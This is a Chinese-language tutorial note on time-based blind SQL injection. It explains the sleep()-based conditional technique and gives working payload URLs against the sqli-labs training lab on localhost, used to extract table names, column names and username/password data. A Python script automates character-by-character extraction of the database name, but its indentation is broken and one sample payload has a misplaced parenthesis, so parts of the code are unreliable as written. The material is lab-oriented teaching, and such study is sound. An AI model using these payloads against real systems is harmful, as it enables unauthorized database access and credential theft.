SQL注入笔记 06#

sql时间延时注入##

时间延时注入原理


    

        $id=$GET['id'];
        $sql="select * from users where id='$id' limit 0,1";
        $result=mysql_query($sql);
        $row=mysql_fetch_array($result)
        if($row)
        {

              echo "";
        }
        else
        {

              echo "";
        }   

    

代码存在SQL注入漏洞,然而它既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容进行判断。

这里我们可以通过构造语句,通过页面的响应的时间来进行判断信息

这就是时间延时注入。

###举例:

登录:1.正常请求,name=admin&pwd=123(返回登录成功的页面)

2.在不知道帐号密码的情况下,发送登录请求。(返回登录失败的页面)

3.构造SQL语句,发送登录请求。(返回登录失败的页面)

在3中可以构造语句,让程序延时执行,从而通过相应的时间来判断信息的对错。

##时间盲注方法:

构造逻辑语句,通过条件语句进行判断

核心语法:if(left(user(),1)=’a’,0,sleep(3));

意思是返回user的从左边开始的第一位字符串,如果与a相等则返回0,如果不相等延时3秒后显示。

真实场景大多数: if(ascii(substr(database(),1,1)=115,0,sleep(5))

意思是返回database从左开始的第一位开始,截取第一位并将其转化为ascii码值,等于115吗? 等于的话返回0,不等于的话延时5秒后执行。

Sqli-labs-less10下实验演示

发现无论输入什么页面都返回相同的数据,这时我们无法判断他是否存在注入点。

这时候我们就可以构造时间延时注入语句来判断是否存在注入。

http://127.0.0.1/sqli-labs-master/less-10/?id=1” and if(left(user(),1)=’a’,0,sleep(3))–+

存在时间延时注入。

##获取数据的过程:


    
     
     获取表:http://127.0.0.1/sqli-labs-master/less-10/?id=1"  and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',0,sleep(3))--+
     得到表名:users
     获取列:http://127.0.0.1/sqli-labs-master/less-10/?id=1"  and if(left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username',0,sleep(3))--+
            http://127.0.0.1/sqli-labs-master/less-10/?id=1"  and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password',0,sleep(3))--+
     得到列名:password、username
     获取数据:http://127.0.0.1/sqli-labs-master/less-10/?id=1"  and if(left((select group_concat(username,0x7e ,password) from users limit 0,1),1)='d',0,sleep(3))--+
    

实际上我们可以采用python编写一个自动化测试的脚本:


    

    import sys
    import requests
 
     url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
     payload="' and ascii(substr(database(),%s,1))>%s --+"
     database=''
     print("Start to retrive the database")
     for i in range(1,9):
         max=122    #z
         min=65     #A
    while abs(max-min)>1: 
         mid=int((max+min)/2)
         p=payload % (str(i),str(mid))
         response=requests.get(url % p)
         if response.content.find("You are in")!=-1:
             min=mid
         else:
             max=mid
     database=database+chr(max)
    print("the database is :%s" % database)         


    

赞 赏